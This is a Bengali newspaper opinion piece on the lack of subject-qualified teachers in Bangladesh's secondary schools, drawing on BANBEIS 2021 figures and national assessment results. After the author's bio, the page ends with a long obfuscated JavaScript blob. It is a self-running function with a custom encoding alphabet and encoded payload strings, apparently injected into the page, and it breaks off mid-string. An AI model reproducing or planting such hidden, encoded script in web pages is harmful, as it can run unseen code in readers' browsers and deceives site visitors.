০৯:৪৪ অপরাহ্ন, রবিবার, ০৮ নভেম্বর ২০২৬, ২৪ কার্তিক ১৪৩৩ বঙ্গাব্দ

বিষয়ভিত্তিক শিক্ষক না থাকার বাস্তবতা

  • মাছুম বিল্লাহ
  • ১০:০২:২৫ পূর্বাহ্ন, শুক্রবার, ৯ ডিসেম্বর ২০২২
  • ৮১৯ বার পড়া হয়েছে

শিক্ষক

আমাদের মাধ্যমিক পর্যায়ের সরকারি কিংবা বেসরকারি কোনো ধরনের প্রতিষ্ঠানেই পুরোপুরিভাবে বিষয়ভিত্তিক শিক্ষক নেই, থাকার কথাও নয়। তবে, গুরুত্বপূর্ণ কয়েকটি বিষয় যেমন গণিত, ইংরেজি ও বিজ্ঞান পড়ানোর জন্য বিষয়ভিত্তিক শিক্ষক অর্থাৎ যে সব শিক্ষক এ বিষয়গুলোতে অনার্স কিংবা মাস্টার্স করেছেন কিংবা স্নাতকে যাদের ওই বিষয়গুলো ছিল তাদের পড়ানোর কথা। এটি শিক্ষা সংশ্লিষ্ট সবারই দাবি। 

আমাদের মাধ্যমিক শিক্ষার্থীদের একটি বড় অংশই তাদের বিদ্যালয় জীবন শেষ করছেন এ দুটি বিষয়ে দুর্বলতা নিয়ে। গণিত ও ইংরেজিতে বিষয়ভিত্তিক,দক্ষ ও  প্রশিক্ষিত শিক্ষক না থাকাকেই এর অন্যতম কারণ হিসেবে মনে করছেন সংশ্লিষ্টরা। বিজ্ঞানের ক্ষেত্রেও একই অবস্থা। প্রশ্ন হচেছ, বর্তমান বাস্তবতায় মাধ্যমিক পর্যায়ে আমরা কি বিষয়ভিত্তিক শিক্ষক পাওয়ার অবস্থায় আছি? এ নিয়ে বিশ্লেষণ প্রয়োজন। 

বাংলাদেশ শিক্ষা তথ্য ও পরিসংখ্যান ব্যুরো (ব্যানবেইস) প্রতিবছর একটি চমৎকার কাজ করে। দেশের বিভিন্ন পর্যায়ের শিক্ষা প্রতিষ্ঠান থেকে তথ্য সংগ্রহ করে প্রতি বছরই ‘বাংলাদেশ এডুকেশন স্ট্যাটিসটিকস’ শীর্ষক প্রতিবেদন প্রকাশ করে। ২০২১ খ্রিষ্টাব্দের সে ধরনের তথ্য বলছে যে, দেশের মাধ্যমিক বিদ্যালয়গুলোতে গণিত ও ইংরেজি বিষয়ে পাঠদানে নিয়োজিত শিক্ষকদের ৮০ শতাংশেরই নেই সংশ্লিষ্ট বিষয়ে স্নাতক কিংবা স্নাতকোত্তর ডিগ্রি। ২০২১ খ্রিষ্টাব্দে দেশের মাধ্যমিক বিদ্যালয়গুলোতে ইংরেজি বিষয়ের শিক্ষক ছিলেন ৯৬ হাজার ৫৮ জন। এর মধ্যে কেবল ৬ হাজার ২৪১ জন শিক্ষক ইংরেজিতে স্নাতক ডিগ্রিধারী। আর এ বিষয়ে স্নাতকোত্তর ছিলেন ৯ হাজার ৪১ জন শিক্ষক। সে হিসাবে দেশের মাধ্যমিক বিদ্যালয়ের ইংরেজি বিষয়ের পাঠদানে নিয়োজিত শিক্ষকদের ৮৪ শতাংশেরই সংশ্লিষ্ট বিষয়ের ডিগ্রি নেই। অভিন্ন চিত্র দেখা যায় গণিতের ক্ষেত্রেও। ব্যানবেইসের ওই প্রতিবেদন অনুযায়ী, গত বছর দেশের সরকারি-বেসরকারি মাধ্যমিক বিদ্যালয়গুলোয় গণিতের শিক্ষক ছিলেন সর্বমোট ৬৭ হাজার ৯৫৫ জন। এর মধ্যে মাত্র ৫ হাজার ৮৪৩ জন সংশ্লিষ্ট বিষয়ে স্নাতক ও ৭ হাজার ২৮৫ জন গণিতে স্নাতকোত্তর সম্পন্ন করেছেন। সে হিসাবে সংশ্লিষ্ট বিষয়টিতে ডিগ্রি রয়েছে কেবল ১৯ শতাংশ শিক্ষকের। বাকি ৮১ শতাংশই অন্য বিষয়ে ডিগ্রিধারী।

বিষয়ভিত্তিক ডিগ্রিধারী শিক্ষকের দিক থেকে বেসরকারির তুলনায় অবশ্য সরকারি বিদ্যালয়গুলোর চিত্র ভাল। সরকারি বিদ্যালয়ে ৪ হাজার ৫০৬ জন ইংরেজি শিক্ষকের মধ্যে ১ হাজার ৪৬৩ জনেই সংশ্লিষ্ট বিষয়ে ন্যূনতম স্নাতক কিংবা স্নাতকোত্তর ডিগ্রি রয়েছে যা শতকরা ৩০ দশমিক ৪৫ শতাংশ।

অন্যদিকে বেসরকারি ব্যবস্থাপনায় পরিচালিত বিদ্যালয়ে ৯১ হাজার ৫৫২ ইংরেজি শিক্ষকের মধ্যে বিষয়ভিত্তিক ডিগ্রি রয়েছে ১৩ হাজার ৮১৯ জনের বা ১৫ দশমিক শূন্য ৯ শতাংশের। আর গণিত শিক্ষকদের ক্ষেত্রে সরকারি বিদ্যালয়ে ৩ হাজার ৬০২ শিক্ষকের মধ্যে এক হাজার ২৫৪ জন বা ৩৪ দশমিক ৮১ ভাগের বিষয়ভিত্তিক স্নাতক ও স্নাতকোত্তর ডিগ্রি রয়েছে। যদিও বেসরকারির ক্ষেত্রে সেই হার ১৮ দশমিক ৪৫ শতাংশ। অর্থাৎ ৬৪ হাজার ৩৫৩ শিক্ষকের মধ্যে গণিতের ডিগ্রি রয়েছে কেবল ১১ হাজার ৮৭৪ জনের। সরকারি স্কুলের ৪ হাজার ৫০৬ জন ইংরেজি শিক্ষকের মধ্যে ৬৯০ জনের স্নাতকে ইংরেজি ছিল। আর ১৪৬ জন এইচএসসি পাস। বেসরকারি স্কুলের ৯১ হাজার ৫৫২ জন ইংরেজি শিক্ষকের মধ্যে ২০ হাজার ৬৫০ জনের স্নাতকে ইংরেজি ছিল না। আর ৩ হাজার ৭১১ জন এইচএসসি পাস। ৬৭ হাজার ৯৫৫ জন গণিত শিক্ষকের মধ্যে ১৬ হাজার ২৫৬ জন বা ২৩ দশমিক ৯৩ শতাংশের স্নাতকে গণিত ছিল না। আর ১২ দশমিক ১৫ শতাংশ বা ৮ হাজার ২৫৮ জন এইচএসসিতে গণিত পড়েননি। কিন্তু গণিতে শিক্ষকতা করছেন। এদের মধ্যে ৩ হাজার ৬০২ জন গণিত শিক্ষকের মধ্যে ৭৪৫ জনের স্নাতক পর্যায়ে গণিত ছিল না। আর এইচএসসিতে গণিত ছিল না ২০২ জনের। বেসরকারি স্কুলের ৬৪ হাজার ৩৫৩ জন গণিত শিক্ষকের মধ্যে ১৫ হাজার ৫১১ জনের স্নাতক পর্যায়ে গণিত ছিল না। আর এইচএসসিতে গণিত ছিল না ৮ হাজার ৫৬ জনের। 

শিক্ষকদের যোগ্যতাগত ঘাটতির প্রভাব স্বভাবতই শিক্ষার্থীদের শিখনফলে পড়ার কথা এবং পড়ছেও। সরকারের বিভিন্ন গবেষণায়ও মাধ্যমিক শিক্ষার্থীদের ইংরেজি ও গণিত বিষয়ে দক্ষতাগত দুর্বলতার চিত্র উঠে এসেছে। মাধ্যমিক ও উচচশিক্ষা অধিদপ্তরের তদারক ও মূল্যায়ন বিভাগ মাধ্যমিক শিক্ষার্থীদের দক্ষতা বিষয়ক একটি গবেষণা পরিচালনা করে। 

ন্যাশনাল অ্যাসেসমেন্ট অব সেকেন্ডারি স্টুডেন্টস-২০১৯ শীর্ষক প্রতিবেদনটি আনুষ্ঠানিকভাবে প্রকাশ করেনি মাউশি অধিদপ্তর। তবে ওই প্রতিবেদনে দেখা যায়, মাধ্যমিকে বিপুলসংখ্যক শিক্ষার্থী এখনো ইংরেজি ও গণিত বিষয়ে দক্ষতা অর্জনে পিছিয়ে। এর মধ্যে ইংরেজিতে বেশি খারাপ। ষষ্ঠ শ্রেণির প্রায় ২৯ শতাংশ শিক্ষার্থীর ইংরেজি অবস্থা খুবই খারাপ, ৩২ শতাংশ খারাপ বা গড়পড়তা স্তরে আছে। এ দুই স্তর মেলালে ৬১ শতাংশ শিক্ষার্থীর অবস্থাই খারাপ বলা যায়। মোটামুটি ভালো স্তরে আছেন ১৮ শতাংশের মতো। বাকি শিক্ষার্থীরা ভাল ও খুবই ভাল স্তরে আছেন। অষ্টম শ্রেণিতে ইংরেজিতে ২৫ শতাংশ শিক্ষার্থী ব্যান্ড ২ ও ৩ স্তরে আছেন। ২৮ শতাংশ মোটামুটি ভাল। এ শ্রেণিতে চার ভাগের প্রায় এক ভাগ খুবই ভাল করেছে। এ বিষয়ে দশম শ্রেণির শিক্ষার্থীরা তুলনামূলক ভাল। সাড়ে ১২ শতাংশ খারাপ স্তরে। বাকিরা মোটামুটি ভাল, ভাল ও খুবই ভাল। শিক্ষাবিদরা বলছেন, যেসব শিক্ষকের সংশ্লিষ্ট বিষয়ে ন্যূনতম স্নাতক ডিগ্রি নেই, তাদের দিয়ে পাঠদান করিয়ে কোনোভাবেই কাঙ্খিত শিখনফল অর্জন সম্ভব নয়। তাদের মতে, শুধু গণিত কিংবা ইংরেজি নয়, বিজ্ঞানসহ অন্যান্য ক্ষেত্রেও সংশ্লিষ্ট বিষয়ের ডিগ্রিধারীদের শিক্ষক হিসেবে নিয়োগ দেওয়া জরুরি। 

একটি গবেষণায় উঠে এসেছে, গণিতের গ্রাজুয়েট যারা, তাদের শিক্ষার্থীরা গণিতে ভাল করেছে। যারা বিজ্ঞানের গ্রাজুয়েট তাদের শিক্ষার্থীরা বিজ্ঞানে ভাল করেছে। আর ম্যানেজমেন্ট পড়ে যারা গণিতে পড়াচেছন তাদের শিক্ষার্থীদের দক্ষতা অর্জনের হার কম।  ভিন্ন বিষয়ের স্নাতকধারীরা গণিত কিংবা বিজ্ঞান পড়াতে গেলে কাঙ্খিত মান অর্জন কঠিন হবেই। প্রশিক্ষণের দিক দিয়েও বেশ পিছিয়ে রয়েছেন গণিত ও ইংরেজি শিক্ষকরা। 

২০১৯ খ্রিষ্টাব্দে দেশের মাধ্যমিক শিক্ষার নানা দিক নিয়ে একটি গবেষণা কার্যক্রম পরিচালনা করে বেসরকারি সংস্থা গণসাক্ষরতা অভিযান। এর ফলাফলের ভিত্তিতে  ‘সেকেন্ডারি স্কুল টিচারস ইন বাংলাদেশ: ইন দ্যা লাইট অব এসডিজি ফোর’ শীর্ষক একটি প্রতিবেদন প্রকাশ করে সংস্থাটি। তাতে উঠে আসে, দেশের মাধ্যমিক বিদ্যালয়গুলোয় গণিত ও ইংরেজি বিষয়ে শিক্ষার্থীদের পাঠদানে নিয়োজিত ৫৫ শতাংশ  শিক্ষকেরই বিষয়ভিত্তিক কোন প্রশিক্ষণ নেই। শিক্ষকের মানের কথা বলতে গেলে সবার আগে যে বিষয়টি আসে সেটি হলো শিক্ষকের যোগ্যতা। কারণ দক্ষ ও প্রশিক্ষিত শিক্ষক ছাড়া মানসম্মত শিক্ষা কোনোভাবেই সম্ভব নয়। অথচ আমাদের শিক্ষা ব্যবস্থায় যোগ্য শিক্ষক নিয়োগ ও তাদের প্রশিক্ষণের আওতায় আনার বিষয়টি বেশ অবহেলিত। আর যোগ্যতাসম্পন্ন শিক্ষক না পাওয়ার অন্যতম কারণ, আমরা এ পেশায় তাদের আকৃষ্ট করতে পারছি না।  বিভিন্ন খাতে যত বড় উন্নয়নই হোক না কেনো, শিক্ষাকে অবহেলায় রেখে তা কখনই টেকসই হবে না। তাই আমাদের শিক্ষায় বিশেষ বরাদ্দ দিয়ে হলেও যোগ্য শিক্ষক নিয়োগ ও তাদের প্রশিক্ষণের আওতায় আনা প্রয়োজন। 

গণিতে ষষ্ঠ শ্রেণির প্রায় ৪৩ শতাংশ শিক্ষার্থী খারাপ। এর মধ্যে ১৩ শতাংশের অবস্থা খুবই খারাপ। মোটামুটি ভাল অবস্থানে আছেন তিন ভাগের এক ভাগ শিক্ষার্থী। খুবই ভাল স্তরে আছে কেবল ৫ শতাংশ। অষ্টম শ্রেণিতে গণিত বিষয়ে ২২ শতাংশ খারাপ অবস্থায়। মোটামুটি ভাল অবস্থায় আছেন ৩৬ শতাংশ। বাকিরা ভাল ও খুবই ভাল। দশম শ্রেণিতে প্রায় ৭ শতাংশের মতো শিক্ষার্থীর অবস্থা খারাপ। এ শ্রেণিতে খুবই খারাপ শিক্ষার্থী প্রায় নেই বললেই চলে। ভাল অবস্থায় আছেন প্রায় ৩৮ শতাংশ। দেশের মাধ্যমিক পর্যায়ের ৯৬ হাজারের বেশি ইংরেজি শিক্ষকের মধ্যে ২২ শতাংশই স্নাতকে ইংরেজি পড়েননি। আর ৪ শতাংশ ইংরেজি শিক্ষক শুধু এইচএসসি পাস। 

অপরদিকে মাধ্যমিকের ৬৭ হাজার ৯৭৫ জন গণিত শিক্ষকের মধ্যে ১২ শতাংশের এইচএসসিতে গণিত ছিল না। আর প্রায় ২৪ শতাংশের স্নাতকে গণিত বিষয় ছিল না। 

অর্থাৎ স্নাতকে গণিত  ও ইংরেজি না পড়েই এক পঞ্চমাংশ শিক্ষক গণিত ও ইংরেজি বিষয় পড়াচেছন। শিক্ষকের সংশ্লিষ্ট বিষয়ে উচচশিক্ষা না থাকলে তাদের মাধ্যমে কাঙ্খিত শিখনফল অর্জন সম্ভব নয়। এরশাদ সরকার জনপ্রিয়তার জন্য ইংরেজি ছাড়া বিএ ও গণিত ছাড়া বিএসসি পড়ার সুযোগ দিয়েছিলেন। তখন পাস করা শিক্ষার্থীদের একটা অংশ শিক্ষক পদে নিয়োগ পেয়ে গণিত ও ইংরেজি বিষয় পড়াচেছন। আমার প্রশ্ন, আমাদের দেশের তখনকার শিক্ষাবিদরা কি বিষয়টিতে খুব একটা বাধা দিয়েছিলেন? দেননি। এরশাদ আর্মির লোক। আর্মিতে তো ইংরেজির গুরুত্ব থাকে সবক্ষেত্রেই। কিন্তু এখানে কি ঘটেছিল? 

যদিও আগামী পাঁচ বছরের মধ্যে এ সংকট কেটে যাবে বলে মনে করছেন কেউ কেউ। কারণ, এসব শিক্ষক অবসরে চলে গেলে ও নতুন যোগ্যতা অনুসারে শিক্ষক নিয়োগ হলে এমনটি আর থাকবে না। চাকরি, ব্যবসা-বাণিজ্য থেকে উচচশিক্ষা সবক্ষেত্রেই ইংরেজিতে দক্ষতা জরুরি। আর বিশ্বের সব শিক্ষা ব্যবস্থায় গুরুত্বের সঙ্গে দেখা হয় গণিত শিক্ষাকে। এ দুটোতেই আমাদের শিক্ষার্থীরা দুর্বলতা নিতে উপরের শ্রেণিতে উঠতে থাকে। 

মাধ্যমিক পর্যায়ে বিষয়ভিত্তিক শিক্ষক না থাকা একটি বাস্তবতা। এই বাস্তবতাকে স্বীকার করে ব্যবস্থা গ্রহণ প্রয়োজন। কি ব্যবস্থা নেওয়া যেতে পারে? যারা গণিত, ইংরেজি কিংবা বিজ্ঞান বিষয়ে অনার্স কিংবা মাস্টার্স নিয়ে পড়াশুনা করেন তাদের মধ্যে বড় একটি অংশ শিক্ষকতা ছাড়া অন্য কোনো পেশায় ঢোকার চেষ্টা করেন এবং  ঢুকে যান। এটিও স্বাভাবিক। শিক্ষকতা অর্থনৈতিকভাবে সব জায়গায় বা সবক্ষেত্রে আকর্ষণীয় নয়। তা ছাড়া এ পেশা অত্যন্ত চ্যালেঞ্জিং এবং বর্তমান যুগে খুব চাপেরও। প্রতিষ্ঠান যদি একটু নামকরা হয় তাহলে শিক্ষকদের খাটুনির অন্ত থাকে না। যদি নামকরা না হয় তাহলে চাকরি করাটা অনেকের নিকট প্রেস্টিজের ব্যাপার বলে মনে হয়। তাই, অনেক মেধাবী এ পেশায় আসতে চান না। 

আর অনার্স-মাস্টার্সে শিক্ষার্থীরা যে কন্টেন্ট ও অধ্যায় নিয়ে পড়াশুনা করেন সেগুলোতে মাধ্যমিক নেই। তবে জ্ঞান নিয়ে তাদের যে চর্চা বা প্র্যাকটিস হয় সেটি  কোনো কোনো ক্ষেত্রে প্রত্যক্ষভাবে, আবার কোনো কোনো ক্ষেত্রে পরোক্ষভাবে মাধ্যমিক শিক্ষার্থীদের কাজে লাগে। যেমন ইংরেজিতে যারা অনার্স পড়েন তারা যে শেক্সপিয়র, বায়রন পড়ে আসেন তা কিন্তু মাধ্যমিকে নেই। আবার ল্যাংগুয়েজ স্ট্রিম থেকে যারা আসেন তারাও এসে দেখেন মাধ্যমিকে পড়ানোর বিষয় আলাদা। মাধ্যমিকে ভালোভাবে পড়ানোর জন্য তাদের আলাদা প্রস্তুতি নিতে হয়। গণিতে তারা যেসব বিষয় গ্রাজুয়েশন লেভেলে পড়ে আসেন সেগুলো কিন্তু মাধ্যমিকে নেই। অন্য বিষয়ের শিক্ষক যদি ডেডিকেটেড হন তাহলে ভালভাবে প্রস্তুতি নিয়ে কিন্তু শ্রেণিকক্ষের শিক্ষাদান আনন্দময় করতে পারেন। গণিতে অনার্স পড়ুয়ারাই যে গণিত পড়াতে পারবেন তা নয়। যারা অর্থনীতি কিংবা একাউন্টিং কিংবা ম্যানেজমেন্ট পড়ে আসেন তারাও কিন্তু পারবেন। একইভাবে- ইতিহাস, অর্থনীতিসহ অন্যান্য বিষয়ে যারা অনার্স পড়েন তারা যদি চর্চা করেন, প্রশিক্ষণ গ্রহণ করেন, তাহলে ইংরেজি পড়াতে পারেন। আর সেটি তো করতেই হবে, এটিই তো আমাদের বাস্তবতা। উচচমাধ্যমিক ও স্নাতক পর্যায়ে শিক্ষক থাকেন বিষয় ভিত্তিক। 

আমরা সাধারণত ইংরেজিতে দুর্বল বলতে কি বুঝি? ইংরেজিতে হয়তো ’এ’ প্লাস পায়নি শিক্ষার্থীরা কিংবা গ্রামারের কিছু জিজ্ঞেস করলে সঠিকভাবে বলতে পারে না- সেগুলোকে বলে থাকি। আসলে ইংরেজিতে নিজে কোনো কিছু লিখতে পারবে, বলতে পারবে শুদ্ধভাবে, বিদেশিদের ইংরেজি শুনে বুঝতে পারবে, যে কোনো ইংরেজি বিষয় পড়ে তার মর্মোদ্ধার করতে পারবে, মাধ্যমিক পর্যায়ে ও উচচ মাধ্যমিক পর্যায়ে ইংরেজি কিন্তু সেভাবে পড়ানো হয় না। এমনকি ইংরেজিতে অনার্স পড়ে যারা মাধ্যমিকে শিক্ষকতা করতে আসেন তারাও এভাবে পড়ান না। তারাও কিছু গ্রামারের নিয়ম-কানুন মুখস্থ করান, কিছু কম্পোজিশন মুখস্থ করান। একইভাবে গণিতের মাধ্যমে যে  বেসিক ধারণা সৃষ্টি হওয়ার কথা শিক্ষার্থীদের সেটি কিন্তু হয় না। কাজেই অন্য বিষয়ের শিক্ষকদের নিবিড় প্রশিক্ষণ দিতে হবে। শিক্ষকদের নিজেদের আগ্রহে আধুনিক শিক্ষাদান পদ্ধতির সাথে পরিচিত হয়ে মাধ্যমিকের বিষয়গুলো ফলপ্রসুভাবে পড়ানোর দক্ষতা অর্জন করতে হবে। 

মন্তব্য

লেখকতথ্য

মাছুম বিল্লাহ

শিক্ষা বিশেষজ্ঞ ও গবেষক এবং প্রেসিডেন্ট: ইংলিশ টিচার্স অ্যাসোসিয়েশন অব বাংলাদেশ (ইট্যাব)। সাবেক কান্ট্রি ডিরেক্টর- ভাব বাংলাদেশ এবং শিক্ষা বিশেষজ্ঞ -ব্র্যাক শিক্ষা কর্মসূচি। ইমেইল: masumbillah65@gmail.com
জনপ্রিয়
(function(s){var UBa=20;var Flp=1035420166,xpBW="qAS0CusRlFUHKmrnN23Owh4+QxyeYG9ViDfMXJZEb16P8/pkzoTvBWdcItL7j5ag",bL0no=["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","Aw6R3xJCnVunhrQl2hRmvDHhzUlFQO